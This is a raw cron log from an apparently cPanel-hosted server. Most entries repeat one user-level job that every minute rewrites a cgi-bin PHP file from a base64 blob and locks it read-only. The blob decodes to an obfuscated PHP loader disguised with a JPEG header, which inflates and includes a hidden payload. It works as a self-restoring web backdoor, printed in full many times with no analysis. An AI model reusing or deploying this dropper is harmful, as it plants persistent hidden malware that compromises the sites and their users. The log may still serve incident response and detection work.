Apr 11 17:09:01 server CROND[23942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:09:01 server CROND[23943]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 17:10:01 server CROND[23989]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 17:10:01 server CROND[23990]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 17:10:01 server CROND[23991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:10:01 server CROND[23992]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 17:11:01 server CROND[24153]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:12:01 server CROND[24212]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 17:12:01 server CROND[24213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:13:01 server CROND[24278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:14:01 server CROND[24462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:15:01 server CROND[24514]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 17:15:01 server CROND[24515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:15:01 server CROND[24516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 17:16:01 server CROND[24619]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:17:01 server CROND[24670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:18:01 server CROND[24723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:19:01 server CROND[24866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:20:01 server CROND[24919]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 17:20:01 server CROND[24920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:20:01 server CROND[24921]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 17:20:01 server CROND[24923]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 17:20:01 server CROND[24924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 17:21:01 server CROND[25043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:22:01 server CROND[25090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0l